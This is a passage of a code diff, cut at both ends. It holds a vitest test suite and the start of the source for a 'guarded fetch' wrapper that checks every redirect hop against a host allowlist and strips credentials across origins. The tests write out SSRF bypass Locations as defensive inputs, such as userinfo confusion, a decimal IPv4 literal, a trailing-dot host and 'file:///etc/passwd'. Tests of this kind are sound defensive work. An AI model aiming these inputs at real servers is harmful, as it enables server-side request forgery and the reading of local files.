guarded(`${origin}/one`); + + expect(await response.text()).toBe('arrived'); + expect(response.url).toBe(`${origin}/three`); + expect(response.redirected).toBe(true); + expect(guard.mock.calls.map(([url]) => url.pathname)).toStrictEqual([ + '/one', + '/two', + '/three', + ]); + }); + + it('refuses a hop out of the allowlist part-way through a chain', async () => { + const forbidden = await startServer(); + const allowed = await startServer(); + allowed.respondWith((request, response) => { + response.writeHead(302, { + location: + request.url === '/one' + ? `http://localhost:${allowed.port}/two` + : `http://127.0.0.1:${forbidden.port}/secrets`, + }); + response.end(); + }); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${allowed.port}/one`), + ).rejects.toThrow('Invalid host: 127.0.0.1'); + expect(forbidden.received).toStrictEqual([]); + }); + + it('follows a redirect back to an allowed host', async () => { + const other = await startServer(); + const home = await startServer(); + home.respondWith( + redirectRoutes( + { '/out': `http://127.0.0.1:${other.port}/via` }, + { body: 'home again' }, + ), + ); + other.respondWith(redirectTo(302, `http://localhost:${home.port}/back`)); + // Both loopback names allowed, so the excursion is legitimate. + const guarded = makeGuardedFetch({ + baseFetch: fetch, + guard: async ({ hostname }) => { + if (hostname !== 'localhost' && hostname !== '127.0.0.1') { + throw new Error(`Invalid host: ${hostname}`); + } + }, + }); + + const response = await guarded(`http://localhost:${home.port}/out`); + + expect(await response.text()).toBe('home again'); + expect(response.url).toBe(`http://localhost:${home.port}/back`); + expect(response.redirected).toBe(true); + }); + + it('gives up on a redirect loop after 20 hops', async () => { + const server = await startServer(); + const origin = `http://localhost:${server.port}`; + server.respondWith(redirectTo(302, `${origin}/loop`)); + const guarded = guardedLoopback(); + + await expect(guarded(`${origin}/loop`)).rejects.toThrow( + 'exceeded 20 redirects', + ); + // The initial request plus the 20 hops it was allowed. + expect(server.received).toHaveLength(21); + }); + + it('returns a redirect status that carries no Location as a response', async () => { + const server = await startServer(); + server.respondWith((_request, response) => { + response.writeHead(302); + response.end('nowhere'); + }); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${server.port}/`); + + expect(response.status).toBe(302); + expect(response.redirected).toBe(false); + expect(await response.text()).toBe('nowhere'); + }); + + it('resolves a relative Location against the hop that sent it', async () => { + const second = await startServer(); + const first = await startServer(); + // The relative hop is the second one, so a `Location` resolved against + // the URL the caller asked for lands on the wrong server entirely. + first.respondWith( + redirectTo(302, `http://localhost:${second.port}/deep/start`), + ); + second.respondWith( + redirectRoutes( + { '/deep/start': '../landed' }, + { status: 301, body: 'relative' }, + ), + ); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${first.port}/one`); + + expect(await response.text()).toBe('relative'); + expect(response.url).toBe(`http://localhost:${second.port}/landed`); + expect(first.received.map(({ path }) => path)).toStrictEqual(['/one']); + }); + }); + + describe('the redirect mode the caller asks for', () => { + /** + * A server that redirects out of the allowlist, and the forbidden server + * it points at. + * + * @returns Both servers. + */ + + it('checks the hop when init asks fetch to follow', async () => { + const { start: allowed, destination: forbidden } = await startRedirect({ + host: '127.0.0.1', + path: '/secrets', + }); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${allowed.port}/start`, { + redirect: 'follow', + }), + ).rejects.toThrow('Invalid host: 127.0.0.1'); + expect(forbidden.received).toStrictEqual([]); + }); + + it('checks the hop when a Request asks fetch to follow', async () => { + const { start: allowed, destination: forbidden } = await startRedirect({ + host: '127.0.0.1', + path: '/secrets', + }); + const guarded = guardedLoopback(); + + await expect( + guarded( + new Request(`http://localhost:${allowed.port}/start`, { + redirect: 'follow', + }), + ), + ).rejects.toThrow('Invalid host: 127.0.0.1'); + expect(forbidden.received).toStrictEqual([]); + }); + + it('hands back the redirect unfollowed when the caller asks for manual', async () => { + const { start: allowed, destination: forbidden } = await startRedirect({ + host: '127.0.0.1', + path: '/secrets', + }); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${allowed.port}/start`, { + redirect: 'manual', + }); + + expect(response.status).toBe(302); + expect(response.headers.get('location')).toBe( + `http://127.0.0.1:${forbidden.port}/secrets`, + ); + expect(response.redirected).toBe(false); + expect(forbidden.received).toStrictEqual([]); + }); + + it('fails the fetch when the caller asks for error', async () => { + const { start: allowed, destination: forbidden } = await startRedirect({ + host: '127.0.0.1', + path: '/secrets', + }); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${allowed.port}/start`, { + redirect: 'error', + }), + ).rejects.toThrow(/was redirected, and redirect: 'error' was requested/u); + expect(forbidden.received).toStrictEqual([]); + }); + + it('fails the fetch when the caller asks for error and the hop names nowhere', async () => { + const server = await startServer(); + server.respondWith((_request, response) => { + response.writeHead(302); + response.end('redirecting'); + }); + const guarded = guardedLoopback(); + + // Why the mode is answered before the `Location` is read: see `guardedFetch`. + await expect( + guarded(`http://localhost:${server.port}/start`, { + redirect: 'error', + }), + ).rejects.toThrow(/was redirected, and redirect: 'error' was requested/u); + }); + + it('follows a hop for a caller that asked for manual but was not redirected', async () => { + const server = await startServer(); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${server.port}/thing`, { + redirect: 'manual', + }); + + expect(await response.text()).toBe('landed'); + }); + }); + + describe('a caller-supplied dispatcher', () => { + it('is refused rather than dropped, since dropping it would egress anyway', async () => { + const server = await startServer(); + const dispatch = vi.fn(); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${server.port}/`, { + dispatcher: { dispatch, close: async () => undefined }, + } as unknown as RequestInit), + ).rejects.toThrow(/cannot accept a `dispatcher`/u); + expect(dispatch).not.toHaveBeenCalled(); + expect(server.received).toStrictEqual([]); + }); + + it('is shed from a Request rather than refused, being unreadable there', async () => { + const server = await startServer(); + const dispatch = vi.fn(); + const guarded = guardedLoopback(); + + // A `Request` exposes no dispatcher to check for — undici keeps it out + // of reach on some runtimes — so `resolveFetchInput`'s rebuild dropping + // it is the whole defence. + const response = await guarded( + new Request(`http://localhost:${server.port}/`, { + dispatcher: { dispatch, close: async () => undefined }, + } as unknown as RequestInit), + ); + + expect(await response.text()).toBe('landed'); + expect(dispatch).not.toHaveBeenCalled(); + expect(server.received).toHaveLength(1); + }); + + it('is shed from a Request that carries it as an own property', async () => { + const server = await startServer(); + const dispatch = vi.fn(); + const guarded = guardedLoopback(); + // Planted where the rebuild reads its argument as a `RequestInit`, by + // string name. Without the copy that precedes the rebuild this would be + // read back off the caller's own object and honoured — the copy is the + // only thing between this and a transport of the caller's choosing. + const planted = new Request(`http://localhost:${server.port}/`); + Object.defineProperty(planted, 'dispatcher', { + configurable: true, + get: () => ({ dispatch, close: async () => undefined }), + }); + + const response = await guarded(planted); + + expect(await response.text()).toBe('landed'); + expect(dispatch).not.toHaveBeenCalled(); + expect(server.received).toHaveLength(1); + }); + + it('is not honoured when an accessor hides it from the check', async () => { + const server = await startServer(); + const dispatch = vi.fn(); + const guarded = guardedLoopback(); + // The CWE-367 shape aimed at the check rather than the URL. One read + // serves both the check and the request, so the dispatcher is either + // refused or absent — never refused and then sent. + let reads = 0; + const init = { + get dispatcher() { + reads += 1; + return reads === 1 + ? undefined + : { dispatch, close: async () => undefined }; + }, + }; + + const response = await guarded( + `http://localhost:${server.port}/`, + init as RequestInit, + ); + + expect(await response.text()).toBe('landed'); + expect(dispatch).not.toHaveBeenCalled(); + expect(server.received).toHaveLength(1); + }); + + it('is not confused by an absent one', async () => { + const server = await startServer(); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${server.port}/`, { + dispatcher: undefined, + } as unknown as RequestInit); + + expect(await response.text()).toBe('landed'); + }); + }); + + describe('method and body across a redirect', () => { + it('leaves a HEAD alone on a 303, which rewrites everything else', async () => { + const { start, destination } = await startRedirect({ status: 303 }); + const guarded = guardedLoopback(); + + await guarded(`http://localhost:${start.port}/start`, { method: 'HEAD' }); + + expect(destination.received[0]?.method).toBe('HEAD'); + }); + + it.each([ + { status: 307, method: 'POST' }, + { status: 308, method: 'POST' }, + { status: 302, method: 'PUT' }, + ])( + 'keeps the method and body across a $status from a $method', + async ({ status, method }) => { + const destination = await startServer(); + const start = await startServer(); + start.respondWith( + redirectTo(status, `http://localhost:${destination.port}/landed`), + ); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${start.port}/start`, { + method, + body: 'payload', + headers: { 'content-type': 'text/plain' }, + }); + + expect(await response.text()).toBe('landed'); + expect(destination.received[0]).toMatchObject({ + method, + body: 'payload', + }); + expect(destination.received[0]?.headers['content-type']).toBe( + 'text/plain', + ); + }, + ); + + it.each([ + { status: 301, method: 'POST' }, + { status: 302, method: 'POST' }, + { status: 303, method: 'POST' }, + { status: 303, method: 'PUT' }, + // `fetch` upper-cases the methods it knows, so the rewrite has to too. + { status: 302, method: 'post' }, + ])( + 'turns a $method into a bodyless GET on a $status', + async ({ status, method }) => { + const destination = await startServer(); + const start = await startServer(); + start.respondWith( + redirectTo(status, `http://localhost:${destination.port}/landed`), + ); + const guarded = guardedLoopback(); + + await guarded(`http://localhost:${start.port}/start`, { + method, + body: 'payload', + headers: { + 'content-type': 'text/plain', + 'content-language': 'en', + 'content-location': '/here', + }, + }); + + expect(destination.received[0]).toMatchObject({ + method: 'GET', + body: '', + }); + expect( + destination.received[0]?.headers['content-type'], + ).toBeUndefined(); + expect( + destination.received[0]?.headers['content-length'], + ).toBeUndefined(); + expect( + destination.received[0]?.headers['content-language'], + ).toBeUndefined(); + expect( + destination.received[0]?.headers['content-location'], + ).toBeUndefined(); + }, + ); + + it('refuses to replay a stream body rather than truncating the request', async () => { + const { start, destination } = await startRedirect({ status: 307 }); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${start.port}/start`, { + method: 'POST', + ...streamBody('streamed'), + }), + ).rejects.toThrow( + /Cannot follow the 307 redirect .* cannot be sent a second time/u, + ); + expect(destination.received).toStrictEqual([]); + }); + + it('drops a stream body on a 303 instead of failing, since the hop does not keep it', async () => { + const { start, destination } = await startRedirect({ status: 303 }); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${start.port}/start`, { + method: 'POST', + ...streamBody('streamed'), + }); + + expect(await response.text()).toBe('landed'); + expect(destination.received[0]).toMatchObject({ + method: 'GET', + body: '', + }); + }); + }); + + describe('credentials across a redirect', () => { + it('drops them when the hop leaves the origin', async () => { + const { start, destination } = await startRedirect({ + status: 307, + host: '127.0.0.1', + }); + const guarded = guardedLoopback(allowAnyHost); + + await guarded(`http://localhost:${start.port}/start`, { + headers: { authorization: 'Bearer secret', cookie: 'session=secret' }, + }); + + expect(start.received[0]?.headers.authorization).toBe('Bearer secret'); + expect(destination.received[0]?.headers.authorization).toBeUndefined(); + expect(destination.received[0]?.headers.cookie).toBeUndefined(); + }); + + it('keeps them when the hop stays on the origin', async () => { + const server = await startServer(); + const origin = `http://localhost:${server.port}`; + server.respondWith( + redirectRoutes({ '/start': `${origin}/landed` }, { status: 307 }), + ); + const guarded = guardedLoopback(); + + await guarded(`${origin}/start`, { + headers: { authorization: 'Bearer secret' }, + }); + + expect(server.received[1]?.headers.authorization).toBe('Bearer secret'); + }); + }); + + describe('abort', () => { + it('propagates through a redirect hop', async () => { + const hang = await startServer(); + hang.respondWith(() => { + // Never answers, so the abort has something to interrupt. + }); + const start = await startServer(); + start.respondWith( + redirectTo(302, `http://localhost:${hang.port}/forever`), + ); + const controller = new AbortController(); + const guarded = makeGuardedFetch({ + baseFetch: fetch, + guard: async (url) => { + if (url.pathname === '/forever') { + controller.abort(); + } + }, + }); + + await expect( + guarded(`http://localhost:${start.port}/start`, { + signal: controller.signal, + }), + ).rejects.toThrow(/abort/iu); + }); + + it('propagates from a Request through a redirect hop', async () => { + const hang = await startServer(); + hang.respondWith(() => { + // Never answers. + }); + const start = await startServer(); + start.respondWith( + redirectTo(302, `http://localhost:${hang.port}/forever`), + ); + const controller = new AbortController(); + const guarded = makeGuardedFetch({ + baseFetch: fetch, + guard: async (url) => { + if (url.pathname === '/forever') { + controller.abort(); + } + }, + }); + + await expect( + guarded( + new Request(`http://localhost:${start.port}/start`, { + signal: controller.signal, + }), + ), + ).rejects.toThrow(/abort/iu); + }); + }); + + describe('a Request input', () => { + it('keeps its method, headers and body', async () => { + const server = await startServer(); + const guarded = guardedLoopback(); + + await guarded( + new Request(`http://localhost:${server.port}/thing`, { + method: 'POST', + body: 'from a request', + headers: { 'x-marker': 'kept' }, + }), + ); + + expect(server.received[0]).toMatchObject({ + method: 'POST', + body: 'from a request', + }); + expect(server.received[0]?.headers['x-marker']).toBe('kept'); + }); + + it('is overridden by an init that names the same thing', async () => { + const server = await startServer(); + const guarded = guardedLoopback(); + + await guarded( + new Request(`http://localhost:${server.port}/thing`, { + method: 'POST', + body: 'from a request', + }), + { method: 'PUT', body: 'from an init' }, + ); + + expect(server.received[0]).toMatchObject({ + method: 'PUT', + body: 'from an init', + }); + }); + + it('carries its body to a hop that keeps it only if it can be replayed', async () => { + const { start, destination } = await startRedirect({ status: 307 }); + const guarded = guardedLoopback(); + + // Why a string body still fails here: see `isReplayableBody`. + await expect( + guarded( + new Request(`http://localhost:${start.port}/start`, { + method: 'POST', + body: 'from a request', + }), + ), + ).rejects.toThrow(/cannot be sent a second time/u); + expect(destination.received).toStrictEqual([]); + }); + }); + + describe('with a scripted fetch', () => { + // Replies with each response in turn, so a hop's exact arguments can be + // inspected without a server in the way. Returned as the mock rather than as + // `typeof fetch`, so a test can read what each hop was actually sent — + // `baseFetch` is where a hop's init is complete, the guard being handed the + // URL alone. + const scriptFetch = (...responses: Response[]) => { + const remaining = [...responses]; + return vi.fn( + async (_input: RequestInfo | URL, _init?: RequestInit) => + remaining.shift() as Response, + ); + }; + + it('discards the body of a redirect it does not return', async () => { + let cancelled = false; + // eslint-disable-next-line n/no-unsupported-features/node-builtins + const redirectBody = new ReadableStream({ + cancel: () => { + cancelled = true; + }, + }); + const guarded = makeGuardedFetch({ + baseFetch: scriptFetch( + new Response(redirectBody, { + status: 302, + headers: { location: 'http://localhost/landed' }, + }), + new Response('landed'), + ), + guard: allowLocalhost, + }); + + const response = await guarded('http://localhost/start'); + + expect(await response.text()).toBe('landed'); + expect(cancelled).toBe(true); + }); + + it('sends each hop the request the rewrite left it with', async () => { + const baseFetch = scriptFetch( + new Response('', { + status: 303, + headers: { location: 'http://localhost/landed' }, + }), + new Response('landed'), + ); + const guarded = makeGuardedFetch({ baseFetch, guard: allowLocalhost }); + + await guarded('http://localhost/start', { method: 'POST', body: 'sent' }); + + expect(baseFetch.mock.calls[0]?.[1]).toMatchObject({ + method: 'POST', + body: 'sent', + redirect: 'manual', + }); + // The 303 rewrote the request, and the hop is sent the rewrite. + expect(baseFetch.mock.calls[1]?.[0]).toBe('http://localhost/landed'); + expect(baseFetch.mock.calls[1]?.[1]).toMatchObject({ + method: 'GET', + body: null, + redirect: 'manual', + }); + }); + + it('hands the guard the URL of each hop and nothing else', async () => { + const guard = vi.fn(allowLocalhost); + const guarded = makeGuardedFetch({ + baseFetch: scriptFetch( + new Response('', { + status: 303, + headers: { location: 'http://localhost/landed' }, + }), + new Response('landed'), + ), + guard, + }); + + await guarded('http://localhost/start', { method: 'POST', body: 'sent' }); + + // A guard shown the request too would be shown a first hop assembled + // differently from every later one — `method` and `body` reach the first + // request from the caller's own init, and later ones from the rewrite. + expect(guard.mock.calls).toStrictEqual([ + [new URL('http://localhost/start')], + [new URL('http://localhost/landed')], + ]); + }); + + it('refuses a response that followed a redirect below the guard', async () => { + // Every request here asks for `manual`, so a base fetch reporting that it + // was redirected walked a chain the guard never saw. Returning it would be + // the pre-flight-only checking this wrapper replaces. + const followed = { + type: 'basic', + status: 200, + redirected: true, + headers: new Headers(), + body: null, + } as unknown as Response; + const baseFetch = scriptFetch(followed); + const guarded = makeGuardedFetch({ baseFetch, guard: allowLocalhost }); + + await expect(guarded('http://localhost/start')).rejects.toThrow( + /followed a redirect below the guard/u, + ); + expect(baseFetch).toHaveBeenCalledTimes(1); + }); + + it('refuses an opaque redirect, which hides the hop instead of exposing it', async () => { + // A browser's opaque-redirect response: no status, no headers. + const opaque = { + type: 'opaqueredirect', + status: 0, + headers: new Headers(), + body: null, + } as unknown as Response; + const baseFetch = scriptFetch(opaque, new Response('landed')); + const guarded = makeGuardedFetch({ baseFetch, guard: allowLocalhost }); + + await expect(guarded('http://localhost/start')).rejects.toThrow( + /hides the target of a manual redirect/u, + ); + expect(baseFetch).toHaveBeenCalledTimes(1); + }); + + it('follows the hop even when discarding the redirect body fails', async () => { + const guarded = makeGuardedFetch({ + baseFetch: scriptFetch( + new Response('redirecting', { + status: 302, + headers: { location: 'http://localhost/landed' }, + }), + new Response('landed'), + ), + guard: allowLocalhost, + }); + // eslint-disable-next-line n/no-unsupported-features/node-builtins + vi.spyOn(ReadableStream.prototype, 'cancel').mockRejectedValue( + new Error('already gone'), + ); + + expect(await (await guarded('http://localhost/start')).text()).toBe( + 'landed', + ); + }); + + it('strips credentials on a hop that only changes scheme', async () => { + const baseFetch = scriptFetch( + new Response('', { + status: 307, + headers: { location: 'http://example.test/landed' }, + }), + new Response('landed'), + ); + const guarded = makeGuardedFetch({ + baseFetch, + guard: allowAnyHost, + }); + + await guarded('https://example.test/start', { + headers: { authorization: 'Bearer secret' }, + }); + + const hopInit = baseFetch.mock.calls[1]?.[1] as RequestInit; + expect((hopInit.headers as Headers).get('authorization')).toBeNull(); + }); + + it('withholds a Request’s integrity from every request it sends', async () => { + const baseFetch = scriptFetch( + new Response('redirecting', { + status: 307, + headers: { location: 'http://localhost/landed' }, + }), + new Response('landed'), + ); + const guarded = makeGuardedFetch({ baseFetch, guard: allowLocalhost }); + + // A digest of the resource, which `fetch` would check against each hop. + await guarded( + new Request('http://localhost/start', { integrity: LANDED_SHA256 }), + ); + + // An empty string, not an absent member: a `Request`'s own integrity + // stands behind an init that does not name one. + expect( + baseFetch.mock.calls.map(([, init]) => init?.integrity), + ).toStrictEqual(['', '']); + }); + + it('shows the guard the headers it will send, not ones changed since', async () => { + const headers = new Headers({ 'x-marker': 'before' }); + const baseFetch = scriptFetch(new Response('landed')); + const guarded = makeGuardedFetch({ + baseFetch, + guard: async () => { + // The caller still holds its own header object, and the guard is + // async, so it has a turn in which to change it. + headers.set('x-marker', 'after'); + }, + }); + + await guarded('http://localhost/start', { headers }); + + const [, sentInit] = (baseFetch as ReturnType).mock + .calls[0] as [unknown, RequestInit]; + expect((sentInit.headers as Headers).get('x-marker')).toBe('before'); + }); + + it('never lets the caller’s own input reach a hop', async () => { + const baseFetch = scriptFetch( + new Response('', { + status: 307, + headers: { location: 'http://localhost/landed' }, + }), + new Response('landed'), + ); + const guarded = makeGuardedFetch({ baseFetch, guard: allowLocalhost }); + + await guarded(new Request('http://localhost/start')); + + const [hopInput] = (baseFetch as ReturnType).mock + .calls[1] as [unknown]; + expect(hopInput).toBe('http://localhost/landed'); + }); + }); + + describe('a Location the guard must not be able to misread', () => { + it.each([ + { label: 'protocol-relative', location: '//127.0.0.1:PORT/secrets' }, + { + label: 'userinfo confusion', + location: 'http://localhost@127.0.0.1:PORT/secrets', + }, + { + label: 'decimal IPv4 literal', + location: 'http://2130706433:PORT/secrets', + }, + { + label: 'trailing-dot host', + location: 'http://127.0.0.1.:PORT/secrets', + }, + ])('refuses a $label hop', async ({ location }) => { + const forbidden = await startServer(); + const allowed = await startServer(); + allowed.respondWith( + redirectTo(302, location.replace('PORT', String(forbidden.port))), + ); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${allowed.port}/start`), + ).rejects.toThrow('Invalid host:'); + expect(forbidden.received).toStrictEqual([]); + }); + + it.each([ + 'data:text/plain,x', + 'file:///etc/passwd', + 'blob:https://example.test/abc', + ])('refuses a hop to %s by naming its scheme', async (location) => { + const server = await startServer(); + server.respondWith(redirectTo(302, location)); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${server.port}/start`), + ).rejects.toThrow(/which a guarded fetch will not follow/u); + expect(server.received).toHaveLength(1); + }); + + it('hands back an empty Location rather than requesting the same URL again', async () => { + const server = await startServer(); + server.respondWith(redirectTo(302, ' ')); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${server.port}/start`); + + expect(response.status).toBe(302); + expect(server.received).toHaveLength(1); + }); + + it('refuses a Location that will not parse', async () => { + const server = await startServer(); + server.respondWith(redirectTo(302, 'http://[')); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${server.port}/start`), + ).rejects.toThrow(/redirected to an unusable location/u); + expect(server.received).toHaveLength(1); + }); + }); + + describe('the origin comparison that decides credential stripping', () => { + it('treats a different hostname on the same port as a different origin', async () => { + const server = await startServer(); + // The same server under a name the allowlist also permits, so the + // hostname is the only part of the origin that differs. + server.respondWith( + redirectRoutes( + { '/start': `http://127.0.0.1:${server.port}/landed` }, + { status: 307 }, + ), + ); + const guarded = guardedLoopback(allowAnyHost); + + await guarded(`http://localhost:${server.port}/start`, { + headers: { authorization: 'Bearer secret' }, + }); + + expect(server.received[1]?.headers.authorization).toBeUndefined(); + }); + + it('treats a different port on the same hostname as a different origin', async () => { + const { start, destination } = await startRedirect({ status: 307 }); + const guarded = guardedLoopback(); + + await guarded(`http://localhost:${start.port}/start`, { + headers: { authorization: 'Bearer secret' }, + }); + + expect(destination.received[0]?.headers.authorization).toBeUndefined(); + }); + + it.each(['proxy-authorization', 'cookie', 'authorization'])( + 'drops %s across origins', + async (header) => { + const { start, destination } = await startRedirect({ + status: 307, + host: '127.0.0.1', + }); + const guarded = guardedLoopback(allowAnyHost); + + await guarded(`http://localhost:${start.port}/start`, { + headers: { [header]: 'secret' }, + }); + + expect(destination.received[0]?.headers[header]).toBeUndefined(); + }, + ); + }); + + describe('a Request input carried across a hop', () => { + it('keeps its method and headers, less the credentials the hop leaves behind', async () => { + const { start, destination } = await startRedirect({ + status: 307, + host: '127.0.0.1', + }); + const guarded = guardedLoopback(allowAnyHost); + + await guarded( + new Request(`http://localhost:${start.port}/start`, { + method: 'DELETE', + headers: { authorization: 'Bearer secret', 'x-marker': 'kept' }, + }), + ); + + expect(destination.received[0]?.method).toBe('DELETE'); + expect(destination.received[0]?.headers['x-marker']).toBe('kept'); + expect(destination.received[0]?.headers.authorization).toBeUndefined(); + }); + + it('is not emptied by an init body of null, which means "not supplied"', async () => { + const { start, destination } = await startRedirect({ status: 307 }); + const guarded = guardedLoopback(); + + await expect( + guarded( + new Request(`http://localhost:${start.port}/start`, { + method: 'POST', + body: 'payload', + }), + { body: null }, + ), + ).rejects.toThrow(/cannot be sent a second time/u); + expect(destination.received).toStrictEqual([]); + }); + }); + + describe('bodies that survive a hop', () => { + it.each([ + { label: 'a string', makeBody: () => 'payload' }, + { + label: 'URLSearchParams', + makeBody: () => new URLSearchParams({ a: 'b' }), + }, + { label: 'a Blob', makeBody: () => new Blob(['payload']) }, + { + label: 'an ArrayBuffer view', + makeBody: () => new TextEncoder().encode('payload'), + }, + { + label: 'FormData', + makeBody: () => { + const form = new FormData(); + form.append('a', 'b'); + return form; + }, + }, + ])('replays $label across a 307', async ({ makeBody }) => { + const { start, destination } = await startRedirect({ status: 307 }); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${start.port}/start`, { + method: 'POST', + body: makeBody() as RequestInit['body'], + }); + + expect(await response.text()).toBe('landed'); + expect(destination.received[0]?.method).toBe('POST'); + expect(destination.received[0]?.body).not.toBe(''); + }); + }); + + describe('the response of a followed chain', () => { + it('clones as a redirected response', async () => { + const { start: first, destination: second } = await startRedirect(); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${first.port}/start`); + const clone = response.clone(); + + expect(clone.redirected).toBe(true); + expect(clone.url).toBe(`http://localhost:${second.port}/landed`); + expect(await clone.text()).toBe('landed'); + expect(await response.text()).toBe('landed'); + }); + + it('is still a Response, headers and all', async () => { + const second = await startServer(); + second.respondWith((_request, response) => { + response.writeHead(201, { 'x-marker': 'final' }); + response.end('landed'); + }); + const first = await startServer(); + first.respondWith( + redirectTo(302, `http://localhost:${second.port}/landed`), + ); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${first.port}/start`); + + expect(response).toBeInstanceOf(Response); + expect(response.status).toBe(201); + expect(response.ok).toBe(true); + expect(response.headers.get('x-marker')).toBe('final'); + expect(response.bodyUsed).toBe(false); + expect(await response.text()).toBe('landed'); + expect(response.bodyUsed).toBe(true); + }); + + it('reports redirected through a frozen response, which cannot be written to', async () => { + const { start: first } = await startRedirect(); + const guarded = makeGuardedFetch({ + // Stands in for the vat `fetch` endowment, which hardens what it + // returns before the caveat ever sees it. + baseFetch: async (input, init) => + Object.freeze(await fetch(input, init)), + guard: allowLocalhost, + }); + + const response = await guarded(`http://localhost:${first.port}/start`); + + expect(response.redirected).toBe(true); + expect(await response.text()).toBe('landed'); + }); + + it('stays readable when the response carries redirected as a frozen own value', async () => { + const { start: first } = await startRedirect(); + const guarded = makeGuardedFetch({ + // A hardened object literal, so `redirected` is a non-configurable own + // value — the case `asRedirected` must not override. + baseFetch: async (input, init) => { + const real = await fetch(input, init); + return harden({ + status: real.status, + headers: real.headers, + redirected: false, + text: async () => await real.text(), + }) as unknown as Response; + }, + guard: allowLocalhost, + }); + + const response = await guarded(`http://localhost:${first.port}/start`); + + // Reported as the target has it. The flag is wrong for the chain that was + // travelled, which is the price of the response staying readable at all. + expect(response.redirected).toBe(false); + expect(await response.text()).toBe('landed'); + }); + }); + + describe('an integrity the chain as a whole answers for', () => { + it.each([ + ['sha256', LANDED_SHA256], + ['sha512', LANDED_SHA512], + ])( + 'accepts a %s digest of the resource it ends on', + async (_algorithm, integrity) => { + const { start: first, destination: second } = await startRedirect(); + const guarded = guardedLoopback(); + + const response = await guarded(`http://localhost:${first.port}/start`, { + integrity, + }); + + // `fetch` handed the same digest would have compared it to the 302's body + // and failed. Checked here against the body the chain ended on, which is + // still there to be read. + expect(response.url).toBe(`http://localhost:${second.port}/landed`); + expect(response.bodyUsed).toBe(false); + expect(await response.text()).toBe('landed'); + }, + ); + + it('accepts a digest carried on a Request', async () => { + const { start: first } = await startRedirect(); + const guarded = guardedLoopback(); + + const response = await guarded( + new Request(`http://localhost:${first.port}/start`, { + integrity: LANDED_SHA256, + }), + ); + + expect(await response.text()).toBe('landed'); + }); + + it('refuses a digest of a hop rather than of the resource', async () => { + const { start: first, destination: second } = await startRedirect(); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${first.port}/start`, { + integrity: REDIRECTING_SHA256, + }), + ).rejects.toThrow( + `Fetch of http://localhost:${second.port}/landed does not match the requested integrity \`${REDIRECTING_SHA256}\`.`, + ); + }); + + it('checks a request that took no redirect at all', async () => { + const server = await startServer(); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${server.port}/direct`, { + integrity: REDIRECTING_SHA256, + }), + ).rejects.toThrow(/does not match the requested integrity/u); + }); + + it('holds a manual redirect to the digest, as fetch does', async () => { + const { start: first } = await startRedirect(); + const guarded = guardedLoopback(); + + // The caller asked for the 3xx, so the 3xx is the body the digest has to + // answer for — and a digest of the resource cannot. + await expect( + guarded(`http://localhost:${first.port}/start`, { + integrity: LANDED_SHA256, + redirect: 'manual', + }), + ).rejects.toThrow(/does not match the requested integrity/u); + + const response = await guarded(`http://localhost:${first.port}/start`, { + integrity: REDIRECTING_SHA256, + redirect: 'manual', + }); + + expect(response.status).toBe(302); + }); + + it('refuses metadata naming no algorithm it can check, which fetch would ignore', async () => { + const server = await startServer(); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${server.port}/direct`, { + integrity: 'md5-1B2M2Y8AsgTpgAmY7PhCfg==', + }), + ).rejects.toThrow(/names no hash algorithm a guarded fetch can check/u); + }); + + it('refuses a response with no body to check the digest against', async () => { + const server = await startServer(); + server.respondWith((_request, response) => { + response.writeHead(204); + response.end(); + }); + const guarded = guardedLoopback(); + + await expect( + guarded(`http://localhost:${server.port}/nothing`, { + integrity: LANDED_SHA256, + }), + ).rejects.toThrow(/carries no body to check it against/u); + }); + }); +}); diff --git a/packages/kernel-utils/src/guarded-fetch.ts b/packages/kernel-utils/src/guarded-fetch.ts new file mode 100644 index 0000000000..63e63e8d11 --- /dev/null +++ b/packages/kernel-utils/src/guarded-fetch.ts @@ -0,0 +1,426 @@ +import { resolveFetchInput } from './fetch-input.ts'; +import type { ResolvedFetchInput } from './fetch-input.ts'; +import { + bytesMatchIntegrity, + parseIntegrityMetadata, +} from './subresource-integrity.ts'; + +/** + * Run before every request a guarded `fetch` makes — the caller's and each + * redirect hop — on the URL that will actually be requested. Throws to refuse. + * + * Takes the URL alone: a guard given the request as well would be shown a + * first hop assembled differently from every later one, and a policy that is + * sound only after the first hop is worse than one that cannot be written. + */ +export type FetchGuard = (url: URL) => Promise; + +/** The redirect limit the fetch spec imposes. */ +const MAX_REDIRECTS = 20; + +const REDIRECT_STATUSES: ReadonlySet = new Set([ + 301, 302, 303, 307, 308, +]); + +const FETCHABLE_PROTOCOLS: ReadonlySet = new Set(['http:', 'https:']); + +/** + * Dropped with the body when a redirect rewrites the request to a GET. + * `content-length` is not in the spec's list, since a browser computes it; a + * caller here can supply one, and it would then describe a body not sent. + */ +const BODY_HEADERS: readonly string[] = harden([ + 'content-encoding', + 'content-language', + 'content-location', + 'content-type', + 'content-length', +]); + +/** + * Stripped when a hop leaves the origin, which is what `fetch` does itself — + * bar `host`, which it refuses to send from a header list at all. + */ +const CROSS_ORIGIN_HEADERS: readonly string[] = harden([ + 'authorization', + 'cookie', + 'proxy-authorization', +]); + +/** + * Stricter than the spec, which replays a stream from a source it kept. That + * source is not reachable from here, and a `Request`'s body is a stream however + * it was built, so a `Request` carrying any body fails a hop that keeps it. + * Buffering every body up front would turn an unbounded upload into an + * unbounded allocation, the worse of the two failures. + * + * @param body - The 